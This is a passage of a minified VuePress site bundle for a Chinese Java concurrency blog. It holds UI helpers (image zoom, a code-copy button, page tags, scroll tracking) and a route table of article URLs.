yo(e,t){if(t&&[...t].filter(e=>e.parentNode===document.head).forEach(e=>document.head.removeChild(e)),e)return e.map(e=>{const t=document.createElement("meta");return Object.keys(e).forEach(E=>{t.setAttribute(E,e[E])}),document.head.appendChild(t),t})}function fo(e){for(const t of["name","property","itemprop"])if(e.hasOwnProperty(t))return e[t]+t;return JSON.stringify(e)}var bo=E(87),Co={mounted(){window.addEventListener("scroll",this.onScroll)},methods:{onScroll:E.n(bo)()((function(){this.setActiveHash()}),300),setActiveHash(){const e=[].slice.call(document.querySelectorAll(".sidebar-link")),t=[].slice.call(document.querySelectorAll(".header-anchor")).filter(t=>e.some(e=>e.hash===t.hash)),E=Math.max(window.pageYOffset,document.documentElement.scrollTop,document.body.scrollTop),l=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight),r=window.innerHeight+E;for(let e=0;e=a.parentElement.offsetTop+10&&(!n||E{this.$nextTick(()=>{this.$vuepress.$set("disableScrollBehavior",!1)})})}}}},beforeDestroy(){window.removeEventListener("scroll",this.onScroll)}},Fo=E(23),Do=E.n(Fo),ko={mounted(){Do.a.configure({showSpinner:!1}),this.$router.beforeEach((e,t,E)=>{e.path===t.path||zE.component(e.name)||Do.a.start(),E()}),this.$router.afterEach(()=>{Do.a.done(),this.isSidebarOpen=!1})}},So=(E(235),Object.assign||function(e){for(var t=1;t1&&void 0!==arguments[1]?arguments[1]:{},l=window.Promise||function(e){function t(){}e(t,t)},r=function(e){var t=e.target;t!==D?-1!==v.indexOf(t)&&p({target:t}):d()},a=function(){if(!f&&F.original){var e=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0;Math.abs(b-e)>C.scrollOffset&&setTimeout(d,150)}},n=function(e){var t=e.key||e.keyCode;"Escape"!==t&&"Esc"!==t&&27!==t||d()},o=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e;if(e.background&&(D.style.background=e.background),e.container&&e.container instanceof Object&&(t.container=So({},C.container,e.container)),e.template){var E=Po(e.template)?e.template:document.querySelector(e.template);t.template=E}return C=So({},C,t),v.forEach((function(e){e.dispatchEvent(jo("medium-zoom:update",{detail:{zoom:k}}))})),k},i=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return e(So({},C,t))},c=function(){for(var e=arguments.length,t=Array(e),E=0;E0?t.reduce((function(e,t){return[].concat(e,Mo(t))}),[]):v;return l.forEach((function(e){e.classList.remove("medium-zoom-image"),e.dispatchEvent(jo("medium-zoom:detach",{detail:{zoom:k}}))})),v=v.filter((function(e){return-1===l.indexOf(e)})),k},m=function(e,t){var E=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return v.forEach((function(l){l.addEventListener("medium-zoom:"+e,t,E)})),y.push({type:"medium-zoom:"+e,listener:t,options:E}),k},B=function(e,t){var E=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return v.forEach((function(l){l.removeEventListener("medium-zoom:"+e,t,E)})),y=y.filter((function(E){return!(E.type==="medium-zoom:"+e&&E.listener.toString()===t.toString())})),k},s=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.target,E=function(){var e={width:document.documentElement.clientWidth,height:document.documentElement.clientHeight,left:0,top:0,right:0,bottom:0},t=void 0,E=void 0;if(C.container)if(C.container instanceof Object)t=(e=So({},e,C.container)).width-e.left-e.right-2*C.margin,E=e.height-e.top-e.bottom-2*C.margin;else{var l=(Po(C.container)?C.container:document.querySelector(C.container)).getBoundingClientRect(),r=l.width,a=l.height,n=l.left,o=l.top;e=So({},e,{width:r,height:a,left:n,top:o})}t=t||e.width-2*C.margin,E=E||e.height-2*C.margin;var i=F.zoomedHd||F.original,c=_o(i)?t:i.naturalWidth||t,A=_o(i)?E:i.naturalHeight||E,m=i.getBoundingClientRect(),B=m.top,s=m.left,d=m.width,p=m.height,h=Math.min(c,t)/d,u=Math.min(A,E)/p,g=Math.min(h,u),v="scale("+g+") translate3d("+((t-d)/2-s+C.margin+e.left)/g+"px, "+((E-p)/2-B+C.margin+e.top)/g+"px, 0)";F.zoomed.style.transform=v,F.zoomedHd&&(F.zoomedHd.style.transform=v)};return new l((function(e){if(t&&-1===v.indexOf(t))e(k);else{if(F.zoomed)e(k);else{if(t)F.original=t;else{if(!(v.length>0))return void e(k);var l=v;F.original=l[0]}if(F.original.dispatchEvent(jo("medium-zoom:open",{detail:{zoom:k}})),b=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0,f=!0,F.zoomed=To(F.original),document.body.appendChild(D),C.template){var r=Po(C.template)?C.template:document.querySelector(C.template);F.template=document.createElement("div"),F.template.appendChild(r.content.cloneNode(!0)),document.body.appendChild(F.template)}if(document.body.appendChild(F.zoomed),window.requestAnimationFrame((function(){document.body.classList.add("medium-zoom--opened")})),F.original.classList.add("medium-zoom-image--hidden"),F.zoomed.classList.add("medium-zoom-image--opened"),F.zoomed.addEventListener("click",d),F.zoomed.addEventListener("transitionend",(function t(){f=!1,F.zoomed.removeEventListener("transitionend",t),F.original.dispatchEvent(jo("medium-zoom:opened",{detail:{zoom:k}})),e(k)})),F.original.getAttribute("data-zoom-src")){F.zoomedHd=F.zoomed.cloneNode(),F.zoomedHd.removeAttribute("srcset"),F.zoomedHd.removeAttribute("sizes"),F.zoomedHd.src=F.zoomed.getAttribute("data-zoom-src"),F.zoomedHd.onerror=function(){clearInterval(a),console.warn("Unable to reach the zoom image target "+F.zoomedHd.src),F.zoomedHd=null,E()};var a=setInterval((function(){F.zoomedHd.complete&&(clearInterval(a),F.zoomedHd.classList.add("medium-zoom-image--opened"),F.zoomedHd.addEventListener("click",d),document.body.appendChild(F.zoomedHd),E())}),10)}else if(F.original.hasAttribute("srcset")){F.zoomedHd=F.zoomed.cloneNode(),F.zoomedHd.removeAttribute("sizes"),F.zoomedHd.removeAttribute("loading");var n=F.zoomedHd.addEventListener("load",(function(){F.zoomedHd.removeEventListener("load",n),F.zoomedHd.classList.add("medium-zoom-image--opened"),F.zoomedHd.addEventListener("click",d),document.body.appendChild(F.zoomedHd),E()}))}else E()}}}))},d=function(){return new l((function(e){if(!f&&F.original){f=!0,document.body.classList.remove("medium-zoom--opened"),F.zoomed.style.transform="",F.zoomedHd&&(F.zoomedHd.style.transform=""),F.template&&(F.template.style.transition="opacity 150ms",F.template.style.opacity=0),F.original.dispatchEvent(jo("medium-zoom:close",{detail:{zoom:k}})),F.zoomed.addEventListener("transitionend",(function t(){F.original.classList.remove("medium-zoom-image--hidden"),document.body.removeChild(F.zoomed),F.zoomedHd&&document.body.removeChild(F.zoomedHd),document.body.removeChild(D),F.zoomed.classList.remove("medium-zoom-image--opened"),F.template&&document.body.removeChild(F.template),f=!1,F.zoomed.removeEventListener("transitionend",t),F.original.dispatchEvent(jo("medium-zoom:closed",{detail:{zoom:k}})),F.original=null,F.zoomed=null,F.zoomedHd=null,F.template=null,e(k)}))}else e(k)}))},p=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.target;return F.original?d():s({target:t})},h=function(){return C},u=function(){return v},g=function(){return F.original},v=[],y=[],f=!1,b=0,C=E,F={original:null,zoomed:null,zoomedHd:null,template:null};"[object Object]"===Object.prototype.toString.call(t)?C=t:(t||"string"==typeof t)&&c(t),C=So({margin:0,background:"#fff",scrollOffset:40,container:null,template:null},C);var D=xo(C.background);document.addEventListener("click",r),document.addEventListener("keyup",n),document.addEventListener("scroll",a),window.addEventListener("resize",d);var k={open:s,close:d,toggle:p,update:o,clone:i,attach:c,detach:A,on:m,off:B,getOptions:h,getImages:u,getZoomedImage:g};return k},Uo={data:()=>({zoom:null}),mounted(){this.updateZoom()},updated(){this.updateZoom()},methods:{updateZoom(){setTimeout(()=>{this.zoom&&this.zoom.detach(),this.zoom=Lo("img:not(.nozoom)",{margin:16})},1e3)}}},Ro={props:{parent:Object,code:String,options:{align:String,color:String,backgroundTransition:Boolean,backgroundColor:String,successText:String,staticIcon:Boolean}},data:()=>({success:!1,originalBackground:null,originalTransition:null}),computed:{alignStyle(){let e={};return e[this.options.align]="7.5px",e},iconClass(){return this.options.staticIcon?"":"hover"}},mounted(){this.originalTransition=this.parent.style.transition,this.originalBackground=this.parent.style.background},beforeDestroy(){this.parent.style.transition=this.originalTransition,this.parent.style.background=this.originalBackground},methods:{hexToRgb(e){let t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null},copyToClipboard(e){if(navigator.clipboard)navigator.clipboard.writeText(this.code).then(()=>{this.setSuccessTransitions()},()=>{});else{let e=document.createElement("textarea");document.body.appendChild(e),e.value=this.code,e.select(),document.execCommand("Copy"),e.remove(),this.setSuccessTransitions()}},setSuccessTransitions(){if(clearTimeout(this.successTimeout),this.options.backgroundTransition){this.parent.style.transition="background 350ms";let e=this.hexToRgb(this.options.backgroundColor);this.parent.style.background=`rgba(${e.r}, ${e.g}, ${e.b}, 0.1)`}this.success=!0,this.successTimeout=setTimeout(()=>{this.options.backgroundTransition&&(this.parent.style.background=this.originalBackground,this.parent.style.transition=this.originalTransition),this.success=!1},500)}}},Io=(E(236),E(7)),qo=Object(Io.a)(Ro,(function(){var e=this,t=e._self._c;return t("div",{staticClass:"code-copy"},[t("svg",{class:e.iconClass,style:e.alignStyle,attrs:{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},on:{click:e.copyToClipboard}},[t("path",{attrs:{fill:"none",d:"M0 0h24v24H0z"}}),e._v(" "),t("path",{attrs:{fill:e.options.color,d:"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm-1 4l6 6v10c0 1.1-.9 2-2 2H7.99C6.89 23 6 22.1 6 21l.01-14c0-1.1.89-2 1.99-2h7zm-1 7h5.5L14 6.5V12z"}})]),e._v(" "),t("span",{class:e.success?"success":"",style:e.alignStyle},[e._v("\n "+e._s(e.options.successText)+"\n ")])])}),[],!1,null,"49140617",null).exports,Qo=(E(237),{updated(){this.update()},methods:{update(){setTimeout(()=>{document.querySelectorAll('div[class*="language-"] pre').forEach(e=>{if(e.classList.contains("code-copy-added"))return;let t=new(zE.extend(qo));t.options={align:"bottom",color:"#3eaf7c",backgroundTransition:!0,backgroundColor:"#0075b8",successText:"@冰河: 代码已经复制到剪贴板",staticIcon:!1},t.code=e.innerText,t.parent=e,t.$mount(),e.classList.add("code-copy-added"),e.appendChild(t.$el)})},100)}}}),Oo={props:{tags:{type:Array,default:[]},config:{type:Object,default:{type:"default",color:"#42b983",border:"1px solid #e2faef"}}},created(){this.tag.color=this.config.color,this.tag.border=this.config.border,this.tag.backgroundColor=this.config.backgroundColor,this.rainbowInit()},data:()=>({tag:{color:null,border:null,backgroundColor:null},_rainbowData:{timer:null}}),methods:{classObject(e){let t=this.config.type;return{"not-first":0===e,"tag--primary":"primary"===t,"tag--success":"success"===t,"tag--info":"info"===t,"tag--warning":"warning"===t,"tag--danger":"danger"===t}},rainbowInit(){"rainbow"===this.config.type&&(this.config.rainbows?this.rainbowsRandom():console.warn("randows 未配置随机标签样式组,彩虹随机样式将不生效"))},rainbowsRandom(){const e=this.config.rainbows;let t=e[Math.floor(Math.random()*e.length)];this.tag.color=t.color,this.tag.border=t.border,this.tag.backgroundColor=t.backgroundColor}},mounted(){},computed:{styleObject(){return"default"===this.config.type||"rainbow"===this.config.type?{color:this.tag.color,border:this.tag.border,"background-color":this.tag.backgroundColor}:{}}},watch:{config(e){this.tag.color=e.color,this.tag.border=e.border,this.tag.backgroundColor=e.backgroundColor}}},Jo=(E(238),Object(Io.a)(Oo,(function(){var e=this,t=e._self._c;return t("div",e._l(e.tags,(function(E,l){return t("span",{staticClass:"tag",class:e.classObject(l),style:e.styleObject},[e._v("\n "+e._s(E)+"\n ")])})),0)}),[],!1,null,"354ca784",null).exports);const Zo={type:"default",color:"#42b983",border:"1px solid #e2faef",backgroundColor:"#f0faf5",selector:".page .content__default h1"};var Wo=[uo,Co,ko,Uo,Qo,{created(){this._mrcodeTags={config:Object.assign({},Zo,{type:"default",color:"#42b983",border:"1px solid #e2faef",backgroundColor:"#f0faf5",selector:".page .content__default h1"})}},mounted(){this.$nextTick(()=>{setTimeout(()=>{this._addTagsToPage()},300)})},watch:{"$page.path"(e){this.$nextTick(()=>{this._addTagsToPage()})},"$page.key"(e){}},updated(){},methods:{_addTagsToPage(){const e=document.querySelectorAll(this._mrcodeTags.config.selector);if(0==e.length)return;if(!this.$frontmatter.tags)return;let t=this._mrcodeTags.config,E=e[0],l=new(zE.extend(Jo))({propsData:{tags:this.$frontmatter.tags,config:t}});l.$mount(),function(e,t){let E=t.parentNode;E.lastChild==t?E.appendChild(e):E.insertBefore(e,t.nextSibling)}(l.$el,E)}}}],Vo={name:"GlobalLayout",computed:{layout(){const e=this.getLayout();return mo("layout",e),zE.component(e)}},methods:{getLayout(){if(this.$page.path){const e=this.$page.frontmatter.layout;return e&&(this.$vuepress.getLayoutAsyncComponent(e)||this.$vuepress.getVueComponent(e))?e:"Layout"}return"NotFound"}}},zo=Object(Io.a)(Vo,(function(){return(0,this._self._c)(this.layout,{tag:"component"})}),[],!1,null,null,null).exports;!function(e,t,E){switch(t){case"components":e[t]||(e[t]={}),Object.assign(e[t],E);break;case"mixins":e[t]||(e[t]=[]),e[t].push(...E);break;default:throw new Error("Unknown option name.")}}(zo,"mixins",Wo);const $o=[{name:"v-2c99a2f6",path:"/",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-2c99a2f6").then(E)}},{path:"/index.html",redirect:"/"},{name:"v-0ed90b67",path:"/md/about/job/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-0ed90b67").then(E)}},{name:"v-21fe9a67",path:"/md/about/me/about-me.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-21fe9a67").then(E)}},{name:"v-2141330f",path:"/md/about/study/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-2141330f").then(E)}},{name:"v-61bf581b",path:"/md/all/all.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-61bf581b").then(E)}},{name:"v-1fc1b82e",path:"/md/concurrent/ActualCombat/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-1fc1b82e").then(E)}},{name:"v-299725c0",path:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-299725c0").then(E)}},{path:"/md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.html",redirect:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{path:"/md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.html",redirect:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{name:"v-31bbb118",path:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-31bbb118").then(E)}},{path:"/md/concurrent/basics/2020-03-30-002-由InterruptedException异常引发的思考.html",redirect:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{path:"/md/concurrent/basics/2020-03-30-002-由InterruptedException异常引发的思考.html",redirect:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{name:"v-445822d6",path:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-445822d6").then(E)}},{path:"/md/concurrent/basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.html",redirect:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.html",redirect:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{name:"v-18b95f38",path:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-18b95f38").then(E)}},{path:"/md/concurrent/basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.html",redirect:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{path:"/md/concurrent/basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.html",redirect:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{name:"v-b7200bd4",path:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-b7200bd4").then(E)}},{path:"/md/concurrent/basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.html",redirect:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.html",redirect:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"v-2736e994",path:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2736e994").then(E)}},{path:"/md/concurrent/basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.html",redirect:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.html",redirect:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"v-01e4323c",path:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-01e4323c").then(E)}},{path:"/md/concurrent/basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.html",redirect:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.html",redirect:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"v-16c9a526",path:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-16c9a526").then(E)}},{path:"/md/concurrent/basics/2020-03-30-008-一文秒懂Happens-Before原则.html",redirect:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{path:"/md/concurrent/basics/2020-03-30-008-一文秒懂Happens-Before原则.html",redirect:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{name:"v-b1628c52",path:"/md/concurrent/bottom/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-b1628c52").then(E)}},{name:"v-96e84136",path:"/md/concurrent/framework/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-96e84136").then(E)}},{name:"v-0afc3a45",path:"/md/concurrent/interview/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-0afc3a45").then(E)}},{name:"v-31ebc6be",path:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-31ebc6be").then(E)}},{path:"/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.html",redirect:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{path:"/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.html",redirect:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{name:"v-1f23bca6",path:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-1f23bca6").then(E)}},{path:"/md/concurrent/source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.html",redirect:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{path:"/md/concurrent/source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.html",redirect:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{name:"v-691192ba",path:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-691192ba").then(E)}},{path:"/md/concurrent/source/2020-03-30-003-深入解析Callable接口.html",redirect:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{path:"/md/concurrent/source/2020-03-30-003-深入解析Callable接口.html",redirect:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{name:"v-56a704c7",path:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-56a704c7").then(E)}},{path:"/md/concurrent/source/2020-03-30-004-两种异步模型与深度解析Future接口.html",redirect:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{path:"/md/concurrent/source/2020-03-30-004-两种异步模型与深度解析Future接口.html",redirect:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{name:"v-30250e53",path:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%